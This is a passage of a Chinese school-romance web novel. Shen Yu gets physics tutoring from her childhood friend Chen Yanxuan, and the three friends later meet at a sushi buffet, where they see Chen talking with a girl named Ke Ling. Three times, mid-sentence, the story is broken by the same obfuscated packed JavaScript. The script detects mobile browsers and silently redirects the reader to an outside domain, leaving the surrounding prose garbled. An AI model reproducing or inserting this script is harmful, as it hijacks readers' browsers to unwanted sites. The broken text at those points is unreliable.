“那倒也是。”陆婷婷表示理解，“我还说为什么那时候看你脸色感觉怪怪的呢，原来是还有这一层关系在。” “所以你们现在……属于认亲成功？” 沈寓收拾了一下桌面凌乱的卷子，边放入文件夹边点头，“应该、算是吧。” “话说，你们之间真的就，就那种纯粹的兄弟关系？没有一点……那个……？” 话虽说得隐晦，但沈寓还是知道她那乱七八糟的脑子已经不知道飞哪里去了。 想到陈晏宣那总嫌他们过于丢人恨不得离他们十万八千里远的样子和孟云凡与她双向奔赴的病情，沈寓没忍住扶额，“真兄弟，纯的，桃园三结义的那种。” 别说，小时候还真办过结义仪式。 陆婷婷见沈寓望向她那诚恳真挚的样子，凭她多年来的经验确诊了她确实是没长什么情丝，失望地摇摇头，“没意思，还以为你们之间有啥呢。” “下辈子吧，这辈子是没可能了。再说，他俩都不是我喜欢的类型，收收你那见人就磕的心吧。”沈寓头也没抬地收拾文件夹里的卷子，仔仔细细地将它们分好类。 陆婷婷一听这话来劲了，好奇地追问道，“那你喜欢的类型是什么样的？” 沈寓认真地想了会儿，“温柔的，细心的，沉稳的，能提供情绪价值的……” 反正看小说的时候她一向喜欢温柔深情男二，估计现实中喜欢的类型也是这样。 不过至今为止她还真没遇到过什么喜欢的人，所以她对这个答案也没什么把握，只是囫囵吞枣地随便应付过去陆婷婷的盘问。 “这种？行，姐妹一定替你多留意留意。”陆婷婷答应下来，“对长相没要求？” 陈晏宣都长那样了沈寓都不感兴趣，陆婷婷在思考是不是沈寓的眼光太高。 “没要求，相比长相的话……”沈寓终于归类好卷子，得空抬起头，“灵魂契合更重要点。” 这句话可能听起来很空，不太切实际，但这确实是沈寓目前对理想型的看法。 她对所谓的喜欢一个人是什么样的，该怎么去喜欢一个人，确实没什么概念。 * 下午有三节化学课，学的东西还在沈寓暑假预习的范围内。 所以沈寓也没花太多心思在听课上，只是偶尔听到老师划重点和讲到延申的东西的时候才会停下来记笔记，其他时候便掏出了习题册对点刷题。 这些天她频繁刷题的成效还是有的，至少题感上来了，做小测还有老师发的卷子的速度虽然还是不算太快，但至少赶在了大部分人后脚完成，没有太尾巴出教室。 一二班是同一个化学老师，名字叫华椿，很年轻，才三十出头。人随和亲近，上课风格有趣，经常能和学生们打成一片，在学生间风评一向不错。 相较上午的物理课，下午的课就让沈寓感到轻松多了。 距离下课还有五分钟的时候，华椿已经停下了讲课，留着时间给学生们收拾东西待会儿去吃晚饭。 忽然想到了什么，她站在讲台上利用这点时间补充道：“我昨天让科代表把这些天大家的小测卷收上来看了一下，整体还是很不错的啊。” “大家的基础出乎我的意料，怪不得年级长说你们这一届的苗子很出挑呢，事实看来，确实如此。” 此话一出，班里气氛顿时被点燃，引起此起彼伏的吵闹声。 “真的假的，别唬我们啊老师。” “老师你要是这么说的话，我就要每天开始学化学了啊。” “就是就是，我到时候语文课上刷化学题。” “……” 有个男生带头道：“老师，那你觉得我们班化学好还是一班化学好啊？” 男生叫林语浩，二班的化学课代表，在班里人缘一向不错。 有些人听见这话，也跟着开始起哄问道。 一班二班作为年级的领头班，本身差距就不大。都是尖子生，大家心里都憋着股气，你不服我我不服你的。处于青春期的男生好胜心更是强烈，总要在各种事上分出个谁胜谁负来。 华椿知道这些孩子的心思，闻言笑道：“哟，大家竞争意识都这么强的啊，我待会儿回去就让办公室里那些担心你们没有冲劲的老师少操点心。” 开完玩笑她还是回应了一下刚刚的问题，“差距肯定还是不大的，大家进来的时候也知道我们的分班制度。但至少证明，这段时间大家都还是有好好学我这门化学的。” 很端水的回答，没有直面回复谁更优秀的问题。 作为老师，学生之间能有竞争，互相进步的心理，自然是乐见其成的。但是肯定不能有意滋长这种心理，否则弄巧成拙，最后变成恶性竞争，就得不偿失了。 她还是希望大家能以健康的心理完成这高中三年的学习。 “我看到很多同学都能把我设置的小难题，那块比较重点的地方做出来了，说明是用功夫的。当然还有一些同学，在基础题方面可能不太细心，轻敌了，导致选择题失了些分。” 华椿简单总结了一下小测出现的状况，讲完时正好下课铃打响，教室里大部分人又都清空了。 沈寓一直没什么吃晚饭的欲望，所以晚上一般不和陈晏宣孟云凡约饭，她认为那就是一个面包便解决的事情。 今天也不例外，她从书包拉链里拿出一个贝果放在嘴里啃着，然后找出了前几天的化学小测卷。 一眼望去，满卷的红勾。 她两面翻找了一下，默默在思考老师说的小难题是指哪个。因为当时做卷子的时候她做的挺顺的，一整套做下来行云流水，没什么纠结的地方，所以她也不确定具体是哪些。 老师特地留下来的重点题型，还是挺有参考意义的，她想要圈画整理出来。 找了会儿没找着，沈寓本想放回去等陆婷婷吃完晚饭回来再问问，却忽然听到后面有人用笔杆轻轻地戳了一下她的肩膀。 沈寓愣了愣，反应过来后面坐着一个女生，好像叫赵佳来着。 文文静静的一个女孩子，没怎么和她们聊过天，一直都是自己干自己的事情。 沈寓很快转过头回应。 赵佳微红着脸，好像有些不好意思，声音细若蚊呐：“那个……沈寓，我、我前几天的化学小测有道题不会，你……” 果然，听完化学老师的话，大家多多少少都会有点在意那份小测卷。 沈寓很快理解了她的意思，立刻答应下来，“没事没事，哪道啊？” 她环顾了一下班里，已经没多少人了，坐在赵佳附近的只有她。 思来想去，只有这一个原因能让只有互相传过卷子的上下桌产生新的交集。 这些题沈寓都会，因为是在这边第一次给人讲题，她讲得也更为仔细，把题目给的意思，需要用到的方程式这些都列了出来，直到确认对方懂了，才重新转回身。 因着讲题，她也大概了解了所谓的小难题是哪些，用红笔圈了一下便重新塞回桌肚里。 接着拿出了另外几科比较弱项的卷子做。 月底测验是下周三，还有几天时间，还是得多花点功夫准备，不然到时候全班只有她被扫地出门，怎么说……还是有点丢人的。 * 不知道是不是要考试了老师们想要让同学们放松一下心情，这几天的小测没有太难。 沈寓 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它就这么安安静静地躺在沈寓的列表里，不争不抢。 沈寓点进去看了看，两人的聊天记录还停留在前几天她问人要去哪里吃午饭。 一个字，两个字……打的字就和屏幕对面的人说的话一样，少得可怜。 虽然晚上下课一起出校门的时候已经和人聊过天了，但这会儿的沈寓还是给对面发了个消息。 -“晚上好。” 一些没啥意义的碎碎念废话，就像是看那寥寥无几的聊天记录不顺眼，硬要加上去的。 好像这样就能成为两人确实有微信好友的铁证。 已经将近十一点半了，不知道这个点陈晏宣睡了没有，沈寓对这条刚发出去，有很大几率石沉大海的消息没抱太大期望。 上下滑动刷新了会儿见没有消息，沈寓本想切到其他应用界面继续刷。 新消息的提示音却蓦然响起。 --“？” 白色的消息框内一个问号出现在她的视线里。 沈寓怔愣了下，再三确认是陈晏宣发来的，这才惊喜回复道。 寓言：“你还没睡啊？” 对方的微信名本来只是英文符号的一个点，被沈寓改了备注后现在叫小晏子。 明明很可爱的名字，却因为对方的少言寡语，显得有些不搭，但在沈寓的眼里却偏偏有些诡异的和谐。 很随意的名字，头像，不那么随意的昵称，至少显得不再像之前那样冷冰冰。 沈寓看见他说。 小晏子：“这话不应该我问你？” 夜深人静的晚上和人聊天，总比一个人刷小视频有趣。 沈寓翻了个身，继续道，“皇帝微服私访，体恤诸位爱卿，故特来与爱卿交谈一番。” 这话发过去，也不知对方是不是觉得她大晚上抽疯，竟很久没有答复。 屏幕对面的人看到这番没头没脑的话，嘴角微微牵起，低低笑了几声，骂了句神经病。 发出去的话也确实没留什么情。 小晏子：“脑子有病就去治，有医保，不贵。” 寓言：“陈晏宣，你在外面这么讲话很容易被打的。” 寓言：“也就朕宽宏大量，不愿计较。” --“……” 回复沈寓的只有六个点。 本来就是想晚上骚扰他一下，没啥正事，沈寓想了好久，才终于憋出一个还算看得过去的理由。 寓言：“之前说是什么时候一起开小灶来着？周六早上吗？” 小晏子：“早上九点，逾期不候。” --“行，朕知道了，爱卿退下吧。” --“天色也晚了，爱卿记得早些歇息。” 事情问完，沈寓也不知道继续骚扰他什么，想着明天还要上课，随便再说了几句便停了这没什么营养的废话聊天。 跟小时候没差，一遇到陈晏宣就像自动触发了什么废话开关。 等意识到这个的时候沈寓不自觉想笑，心里有一种被细细暖流填满的充盈的感觉。 就像是，失而复得的满足感。 13. 教题. 孟云凡扯了个三人群，几人在群里热火朝天讨论了很久开小灶的地点。 从图书馆到咖啡店，再到老王店里和自习室，什么都想了一通还是悬而未决。 最后孟云凡随口嘟囔了一嘴说要不然就定在老陈家得了，没人，又离得近，在家里学习还比外面学更自在点，当然最主要的原因还是累的时候方便偷懒。 沈寓没啥意见，陈晏宣作为当事人更是一直被他们排除在决定权所有人范围之外。 两人合计合计，最后一锤定音，选在了陈晏宣家。 * 沈寓还念着陈晏宣那逾期不候四个字，是以周六早上刚吃完早餐便直往陈晏宣家里赶。 等她到的时候，孟云凡意料之内的还没出门。 什么叫口碑，这就叫作口碑。 她无奈只能先行进去。 有了上回的经验，这回沈寓没有直接敲门，而是给陈晏宣先打了个微信电话。 “怎么样，我准时吧？” 伴随着开门声，迎面入眼的是套了个白T牛仔裤的少年。 他嘴里还咬着个手抓饼，边吃边给沈寓开门。 这次倒是没有穿着睡衣，应该是已经醒了好一会儿了，还洗漱换了身衣服。 陈晏宣闻言眉梢微挑，扫视了一下沈寓身后背着的书包，漫不经心道，“还可以。” 一回生二回熟，沈寓十分老道熟练地钻进去，自己从鞋柜里拿了双鞋换上。 这次的鞋穿在脚底上有些软，也没什么灰尘，相比上次的感觉很不一样，沈寓边换边疑惑道，“咦？小晏子你把鞋换了一批吗？” 陈晏宣关了门已经走了进去，声音顺着玄关处到屋子里的过道慢慢远去，只留下一点余音。 “旧了，换了新的。” “这样啊……” 沈寓换上鞋便吭哧吭哧往跟着陈晏宣的脚步往里面跑去。 “咱们在哪学？” 陈晏宣坐在沙发单座上，头朝那块已经收拾好的茶几点了点。 沈寓会了意，把身后书包卸了下来，随便抓起一个软垫放在身后坐下。 她一本本把作业从书包中拿出来，练习册，习题卷。看着她占了茶几半边空位的作业，陈晏宣嘴角抽了抽，“……你这，确定不是把羊毛往死里了薅？” 沈寓只是翻着卷子找着标注的题，没顾着抬头，“哎呀，你放心，只是看着多而已。” 终于找完，这才望向陈晏宣。少女睫毛扑簌两下，眼睛亮晶晶地盯着对方，正一副“您请”的模样将笔递过去。 “呐，就这些。” 沈寓的眼睛总是水汪汪的，刚出生的时候她外婆就说过她那眼睛跟葡萄做的一样，干净透彻。 跟人对视时更甚，身后阳台透出来的清晨的阳光撒上去时，双眸被布上一层金色的光芒，眸光潋滟，满脸期待地看向他。 “……” 陈晏宣猝不及防撞上她的目光。 像被一根无形的线猛地牵住，半边垂在沙发边上的手忽僵在空中。 … 沈寓见他怔在原地，还以为他没听着，用手在他面前晃了几下，问道：“小晏子？你听到了吗？” “真不多，就七八道题而已。” 听见她的声音，陈晏宣才从短暂的失神中回过味来。 手中的手抓饼温度透着袋子一点点传来，一切感知跟着恢复，将他的思绪逐渐收拢，脑子终于恢复了运转。 他将手抓饼搁置在旁边的桌子上，起身在沈寓旁边找了个方便给她讲题的位置坐下，嘴里说着，“多了按道收费。” “……”沈寓满脸无语，小声嘟囔道，“小气鬼。” “什么？” 看到陈晏宣凉凉的目光扫来，沈寓顿时偃旗息鼓，“啊？什么？我在夸陈晏宣聪明绝顶，才思敏捷，善解人意，宽宏大量啊。” “……” 不出所料的，她收获了对面的一个白眼。 虽然孟云凡人还没来，但沈寓已经懒得等他了。反正来就是为了补课，干脆直入主题快点算了。 之后进度快点仨人没准还能出去玩一下。 因为抱着这样的心态，讲题进展竟然异常顺利。 “这个小球受的力既要考虑水中的浮力，还有重力，以及支撑的……” “啊我懂了！” “在这，作条辅助线，把它的受力分析画出来……” “原来是这样，会了！” “不计空气阻力，如果……” “啊我突然会了！” “这个，和上题……” “我知道知道，大同小异，一样的路子。” 刚开始还好，沈寓脑子灵敏，陈晏宣稍微点拨几下她便马上能理解到点上。 到后面，不知是不是渐入佳境，陈晏宣就像是一个读题器，只是给沈寓画了几个题目关键点，还未消说，沈寓就已经抢答说会了。 连续几道题都这样，陈晏宣被气乐了，将手中笔一丢，身子后仰靠向沙发，看着沈寓。 “你这确定是不会？” “还是专门来找我给你念题的？” 沈寓一脸无辜，“陈老师是你教的太好了，只是给我念了一下题，我就会了。” 她确实没说错，陈晏宣总是能精准地排除所有题目干扰的话语，繁冗的几行题目在他的圈画下，解题重点刹那变得清晰明了。 有些题他只是看了几眼，便马上能明白需要用哪个知识点解，该怎么下手。这是一种不需要刻意练习，题做多了自然而然保持的题感。 他身上这种熟悉的感觉，和陆婷婷，不对，和二班其他她见到的从各个名校升上来的同学都很类似。 “其他的我确实是有些一知半解，但这个，我是真的不会。” 生怕人不乐意给讲了，沈寓赶紧讨好似的把最后一套卷子翻出来，将那大题的压轴题指给他看。 陈晏宣瞥了她一眼，伸手将卷子拿过，看了约莫五分钟，才从旁边扯过一张草稿纸。 试卷给的做题范围小，不好施展，只是稍微画两笔那图很快就黑得不能看了。 所以陈晏宣没有在试卷上直接动笔，而是几笔勾勒出题目给的图，就着草稿纸上的内容给她讲。 “在该时刻下，撤去恒力F，a，b虽然停止运动，但a仍在O点处，如果这个时候把这个点 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16138935|180389||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 当作……” 他左手倚着头作支撑，右手在草稿纸上滑动，给沈寓列着条件和公式。 白色短袖下露出冷白的手臂，清瘦有劲。沿着往下，骨节分明，手背上略有青筋突出，勾勒出好看的弧线。 腕骨和掌骨间有一粒褐色的小痣，正跟着手的动作移动。 沈寓右手撑着后脑勺，本来正专心致志听着他讲。却因中间等他画图时有些无聊，莫名被他的手吸引了目光。 手还挺好看。 字写得也不错，大气。 青筋还挺明显的，咋练的？ “……” 陈晏宣写完最后一笔，抬头看她，“懂了？” 沈寓盯得出神，一时忘记了还在听课，在陈晏宣偏头问她的时候，嘴巴跟不上脑子随口答应了几句。 一个人有没有认真听别人说话是可以看出来的，像沈寓这样眼睛没动，光嘴巴动的更是被直接看穿。 “……”意识到她走神了，陈晏宣手中的笔落下来，恰好打中她的头，“你这是，在让周公给你讲题？” 突如其来的一笔打过来，沈寓皱着脸吃痛，“我去！陈晏宣你下狠手啊！” 走神了还理不直气也壮，死皮赖脸最后的结果就是陈晏宣又重新再给她讲了一次。 经过高强度的脑内风暴，总算解决完这些题，沈寓将那一大摊试卷重新收回书包，身子骨瞬间软了下来，瘫在后方沙发，俨然一副葛优躺的样子。 “太累了，太卷了，同榆你真的要把朕整死了。” 陈晏宣去冰箱里拿了几瓶冰饮，回来看到沈寓瘫在沙发上，将其中一瓶过丢了过去。 “期中考的内容和重点题型那套试卷整理得还不错，你问我那几道涉及的知识点融合和思路都挺经典的，考试前再看看，练对点的题。” 他把刚刚给沈寓讲的题大略整理了一下，确实尽好了答应开小灶的责任。 “知道了。”沈寓感激不尽，连声应下。 饮料掉落在她旁边的沙发上，顺着坐下去的凹陷处滚动至她手边，留下一行水迹。 冰凉的触感冻得她一哆嗦，沈寓边抓在手中边皱眉望向陈晏宣，“大早上就喝冰的，你肠胃跟着你还真是受苦了。” 陈晏宣不置可否，扭开瓶盖坐回沙发单座上。 他又听见她说，“我说真的，陈晏宣，少喝点冰的，对身体不好。” 语气认真，全然不同于平常开玩笑的时候。 “……” 沈寓没听见他出声，对方沉默了会儿后只是轻微点了点头，算是回应。 她这才满意地坐回去，熟稔地按开电视开关，“既然学完了，肯定要奖励一下自己，那就看会儿电视吧。” 电视的历史记录里还停留在她上期没看完的跑男，像是自她走后从未被人造访。 第一次来的时候沈寓就感受到了，陈晏宣一个人待在这，也不知道是不是住久了，被周围的大爷奶奶们同化了，这日子过得清汤寡水的。 书架上都是书，阳台绿植相伴，没啥电子设备，屋子里还空荡荡的。 没啥生气，冷冷清清的。 但倒是符合他气质。 14. 乐子. 她要给陈晏宣找找乐子。 沈寓边看跑男边心里默默念叨这事。 * 只不过电视还没看多久，孟云凡就来了，只能又被迫关上。 虽然孟云凡姗姗来迟，不过他来本来也没抱着问太多题的目的。 大略问了几道课上有些不太理解的，孟云凡便撂挑子不干，摆手说可以了。 沈寓看了看墙上的挂钟，也就走了三个字。她重新摁亮电视，默默吐槽道，“到底是谁主动说要来开小灶的？还没我问的多。” “你懂什么？哥挑的题，那都是精挑细选出来的。再说，你饭哥我的物理虽然比上老陈略输一筹，但是和你比嘛，那就绰绰有余了。”孟云凡将习题册随手一丢，转眼人已经蹭到沈寓身边和她挤着沙发一齐看电视。 沈寓闻言翻了个白眼，嫌弃地把他往旁边推，“等着，到时候考试结果出来看看谁高。” “比就比。” 沈寓想重新掰回一局：“你政治历史背完了？” 孟云凡死猪不怕开水烫：“我这人，就喜欢临时抱佛脚。” “恋足癖，没救了。” 两人一聚在一起就开始拌嘴，刚重逢时的哥俩好很明显的，已经在越来越多的相处中快要消失殆尽。 陈晏宣一如既往地没搭理他们，自顾自坐在一旁，远离混乱的战局。 虽然吵闹，但莫名的，没有太排斥。 阳台的绿植攀爬在防盗网上，阳光照射下盎扬着生机勃勃的绿意。 屋外是鸟叫虫鸣，屋内是叽叽喳喳、不绝于耳的拌嘴声，以及电视里综艺传来的欢声笑语，各种不同的音源悄悄交汇，却莫名和谐。 他躺在单人沙发上，身体不自觉放松。 “我跟你讲，她绝对是卧底。” “不可能，以我多年来的经验，他才是坏的。” 看着看着，两人吵架的重点从刚刚的考试转移到综艺里那一期的剧情，对着到底谁才是隐藏卧底吵得不可开交。 懒得和孟云凡小学鸡互啄，沈寓念着“你等着瞧”，偏头回来想要继续看电视，等着揭露最终谜底。 转头间不经意瞧见旁边的陈晏宣。 一个人岁月静好地坐在那，端的一副事不关己高高挂起。只是这人是盯着电视机，但有没有看得进去就是另一回事了。 沈寓好像忽然理解了为什么刚刚她走神，陈晏宣能够一秒认出。 因为这……很难认不出来。 也不知道这他这脑子每天都在想着什么。 她还没忘记说要给陈晏宣清汤寡水的生活找点乐子。 于是突然看起来没来由地冒出一句，“差不多也快中午了，咱们要不待会儿出去吃饭呗。” “附议。”提到吃的，孟云凡自然没意见，举双手双脚支持。 沈寓再将期待的目光递向陈晏宣，对方也淡淡“嗯”了声，点了个头。 全票通过，沈寓满意地收回视线。 沈寓听陆婷婷说万荟城那新开了家自助寿司店，很多博主去探店，好像好评颇多。 万荟城离这挺近的，去那边逛逛，吃完还可以在商场里消磨消磨下午时光。 仨人对此都没啥异议，待看完了电视，便收拾了下出发去吃饭。 * 同榆的夏天热得出奇，还阴晴不定。比如这会儿明明还艳阳高照，再过会儿，就忽然一场大雨迎头浇下来了。 就好像老天爷不忍心看到人们被烤得难受，大发慈悲地降一下温。 幸好出门前陈晏宣看了下天气预报，带了几把伞。 石板路上被大雨浇过，骤然升起一股泥土味。沈寓边从陈晏宣手中接过雨伞，边大口呼吸着这股预示着大雨即将到来的味道，脚下加快步伐跟上他们俩，“这天气真不给面子，刚出门就下雨。” 下着雨，总不能并肩而行，三人便分开了走。 孟云凡跑在最前面，溅起一大摊水花，“民以食为天，下雨也不能阻挡我吃饭！” 跑着跑着，不知道什么时候，陈晏宣落在了最后一个。 沈寓莫名奇妙到了中间，步子渐渐没了像刚刚那么着急，放慢下来，这才得以喘口气。 孟云凡就跟饿了几天没吃饭一样，跑得那叫一个发狠了，忘情了，全然忘了在后面跟着他俩，跑得快要断气的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16138936|180389||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 沈寓。 要不是陈晏宣忽然慢下脚步，沈寓跑死在半路都说不定。 等三人到万荟城的时候，身上衣服多多少少都被淋湿了。 沈寓抖擞了一下伞上的雨水，和孟云凡等着身后的陈晏宣，汇合后才走进商场。 正逢周六，逛街的人自是数不胜数，那家寿司店因着新开的名号和打出的招牌，更是人满为患。 沈寓有先见之明，在家的时候就已经提前在小程序上订了位，是以三人也没等多久就被叫号进去了。 “67号桌……” 沈寓嘴里边念叨着拿到的号码牌边四顾寻找着位子。 “奇怪，怎么绕了一圈都没看到……”找了半天没找着，正当她还想往前走继续看看时，毫无预兆地忽然被一双手拉住。 沈寓动作蓦然停住，愣了下，回头才发现是陈晏宣。 “那边。”他头朝左边那块因为拿餐的人路过，因而被遮住的区位。 沈寓这才注意到那块刚刚被她忽视了的位置，“好家伙，藏这了啊。” 人多，也怕走散，陈晏宣干脆直接扯着沈寓过去了。 等落了座，沈寓才后知后觉胳膊上那股还没退散的热意。 刚下雨，胳膊被淋湿了还没来得及擦，在空气中风干，早已凉透。 周遭只有他抓过的地方有些许热意，烫得更为明显。明明只是抓住了腕骨往上那块地方，却莫名连着整个下半边胳膊肘都一起热起来。 “……” 这种感觉来得奇妙，连沈寓自己都觉得莫名。 直到陈晏宣坐在对面，将刀叉的塑封膜拆开递给她，她才从刚刚奇奇怪怪的感觉中挣脱出来。 陈晏宣：“孟云凡已经去拿了，你不去？” “？”沈寓一惊，左右探目寻找着孟云凡他人。 这饭桶动作这么快？ “限时三小时，每一秒都是金钱的流逝。”陈晏宣坐在位子上，不慌不忙地把餐盘准备好，闲闲补充了一句。 沈寓闻言马上端起盘子起身：“现在马上去！” 来不及纠结刚刚到底怎么了，沈寓百米冲刺直往美食区冲去。 15. 秘密. 陈晏宣说的没错，孟云凡确实已经在自助a区撅着个屁股埋头苦寻了。 沈寓连忙挤过去，跟在孟云凡后面物色。 她相信孟云凡在吃的方面的眼光，跟着他选准没错。 “鳗鱼的要不要？” “要！” “肉松的呢？” “也要！” “……” 孟云凡一边给自己碟子里夹，一边往沈寓盘里放。 这边的他们从a区逛到b区，不亦乐乎，餐盘几乎要见满。 这才想起陈晏宣。 沈寓正琢磨着要不要给三人都拿一块蛋挞，“晏子他人怎么这么慢？” “他吃饭就这样，老慢条斯理的，也不着急。咱们这种饿死鬼投胎的没法跟人家比。”孟云凡说着，又拿了一盒西瓜果切。 “应该他过会儿就自己去拿了，不用管他。” 沈寓看着两人满满当当的餐碟，从善如流地点点头。 就算陈晏宣没拿多少，他们盘里的这两碟，也够吃了。 “可以了可以了，饭桶，再夹我真拿不动了。” 孟云凡自己的盘子满了，还想再往沈寓碟子里塞，沈寓见状连忙抱着盘子往旁边躲。 孟云凡看着对方一副不争气的样，痛心疾首道：“你们这两人，都是小鸟胃吗！知不知道咱们今天这一顿，一人两百，一人两百啊！” 沈寓不吃这套：“把身子撑坏了去医院更贵。” “你…行吧行吧，吃完再回来拿得了。”见争不过沈寓，他只能摆摆手作罢。 两人捧着两大盘吃食，从旁边人面面相觑的目光中走过。 他俩堆得说是小山丘都不为过，沈寓自觉丢脸，悄悄缩在孟云凡背后。 只要看不见她就不关她的事。 嗯。 沈寓低头没看路，走着走着前面猝不及防地忽然停下来，她没来得及刹住车，“砰”的一下便直接撞了上去，一时眼冒金星。 “我靠，孟云凡你干嘛！” 孟云凡忽然转过头来，做贼似的小声嘘道：“别说话别说话。” 他偷偷摸摸把沈寓拉到角落，示意她看向那边。 “你看那是谁？” 沈寓顺着他手指的方向望去，才发现他们刚刚坐的位置上坐着一个女生，陈晏宣正坐在她对面。 “……” 沈寓顿了顿，看清那个女生的样子，有些不确定，迟疑道：“这是，柯…苓？” 也就跟人家见过几面，她怕认错。 孟云凡肯定道：“没错，是她。” 没想到这么巧，竟然能在这遇到。 “那遇到人你躲这干嘛？”沈寓觉得奇怪，按理说孟云凡和她也是初中同学，应该认识才对。 “怎么不去打个招呼？” “…”孟云凡一副恨铁不成钢的样子，“芋头你这脑子学傻了啊？没看到人正坐那吗？” “？”沈寓觉得莫名。 坐那，然后……呢？ “啊？我们坐错了吗？不对啊，不就是67号吗？” 沈寓看孟云凡这样子还以为是不是看错号码了，正想掏出手机再看一眼，却被孟云凡拦住。 “姐姐姐，没坐错！”孟云凡扶额，“我说的不是这个，我说的是，人正和陈晏宣聊天呢，咱们现在过去，是不是有点不太好？” “…啊？” 见沈寓仍是一脸不知所以，孟云凡把她又往角落里拉了拉，直到确定对面确实看不见他俩了，这才小心翼翼说道，“你有所不知，这柯苓啊，和老陈关系匪浅。” 孟云凡一般不会听风就是雨，要是对些自身不太确定的事情，他不会拿出来说。 正好对陈晏宣和柯苓之间的关系一知半解，沈寓干脆竖起耳朵认真听。 “我之前不是和你说过吗？他俩之前初中的时候是同桌，初二有一阵子走得挺近的。我记得有一次连着一个星期吧，老陈放学都没有和我一起走，我问他他也没具体说原因，只说作业没写完，留下来做完再走。” “直到后面，我才听我们班同学说，教室里最后走的都是他们俩。我刚开始觉得，人都是学霸嘛，肯定就一起写作业问问题，哪有他们传的那些桃色绯闻这么过分，就没当回事。” 孟云凡讲着讲着还不忘给自己嘴巴里塞了一个寿司，“结果初二毕业的时候，柯苓忽然找到我，要了老陈的微信。老陈他那人你是知道的，不喜欢随便加别人联系方式，上初中那会儿有他微信的，也就我和他们班几个男生吧，女生更是少得可怜。” “结果他找我问完，我和老陈一说，老陈竟然同意了，这简直就是活久见！” 他嘴里费力咽下一个寿司，接着道：“按我的角度来说哈，就我们这层关系，要是老陈给你微信，我肯定不惊讶。但柯苓，也就和老陈初中同班了一两年吧，那之前和老陈小学同班四五年的都没要着，结果就她要到了。你说说，这不是关系匪浅是什么？” “……”沈寓听得沉浸，却也不忘跟着孟云凡，默默往嘴里塞寿司。 三个小时，两百块钱，每一分每一秒都是金钱在流逝。 “而且吧，我感觉，柯苓没准对老陈有意思。”想了想，他又补充了一下，“老陈没准也对她有意思。” 沈寓听懂了，点了点头，“原来如此。” “懂我意思了吧？”孟云凡颇为欣慰地拍了拍她的肩膀，“就你刚刚那样直接冲过去，要是刚好一不小心打扰人家了，这多不好。” 沈寓恍然大悟，对他竖了个拇指：“我悟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16138937|180389||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了，情感大师。” 孟云凡满意点点头，心安理得地接受了这份夸奖。 * 那边讨论得正火热，这边被讨论的主角却全然不知。 “这么巧？你也来这吃？”柯苓有些惊讶地看向陈晏宣。 陈晏宣淡淡点了下头，“和朋友他们过来吃饭。” “这样啊，我也是刚和朋友吃完，还挺巧。”少女笑道，随即往四周看了看，“他们还没回来？” 陈晏宣用的是“他们”，说明朋友有好几个。 这还是她第一次看到他身边除了孟云凡外出现其他人。 “估计要挺久。” 陈晏宣知道沈寓和孟云凡的尿性，没个十分钟回不来。 “那我能坐吗？”柯苓指了指面前的位子，“正好有些事想当面跟你说。” 她说的位子恰好是沈寓刚刚坐的。 陈晏宣指了指她旁边的位子，“坐那吧，那没人。” - 两人也没有聊多久，大概孟云凡前脚拉着沈寓刚解释完，后脚他们也结束了对话。 等到确认柯苓离开，孟云凡这才拉着沈寓回到位子坐下。 两人刚刚还挤眉弄眼的，一回去便开始装什么都不知道，看破不说破。 一会儿看看这，一会儿看看那，一个抬头看天，一个低头望地。 陈晏宣咬着手中寿司，意识到对面有些不对劲的两人，“你俩，拿了个餐回来脖子闪了？” “啊？没有啊，我只是在想我们这个位置挑的可真不错。你看看，从我们放眼望去，刚好可以看见蓝天白云。瞧瞧，这天多蓝，对吧芋头。” “对啊对啊，我刚刚也在想，这家店服务还不错，这地板擦得真亮。” 路边刚好路过听到的服务员：“……” 两人一唱一和，配合得默契。 “装。”陈晏宣轻嗤了声。 他几乎能立刻猜到两人的心思，估计是刚刚的聊天被看见了。 他大概解释了一下，“人家找我是正事，因为……” 话还没说完，却被孟云凡摆手打断，“啊？你说啥啊，我咋不明白。” 沈寓也跟着附和，“就是啊，什么人找你，谁啊？我们怎么不知道。” “……” 陈晏宣的话蓦地停住，眉心蹙了蹙，目光递向孟云凡，“你又给她说什么了？” 孟云凡扯皮：“什么？芋头我跟你说啥了？我没说啊。” “说什么了？啊？我不知道啊，怎么了小晏子？”沈寓装傻，“哎呀快吃快吃，三小时都快过去半小时了，这两百块钱呢。” “……” 两人拖腔拿调的，陈晏宣知道再怎么跟他们解释也是徒劳，干脆闭上了嘴，没再说话。 16. 期中. 这乐子确实是找了，就是不知道到底是美名其曰给陈晏宣找的，还是给自己找的。 吃完寿司，沈寓和孟云凡两人拖着陈晏宣在商场里逛了几大圈，最后驻扎在游戏区，和一堆小学的小孩哥比赛。 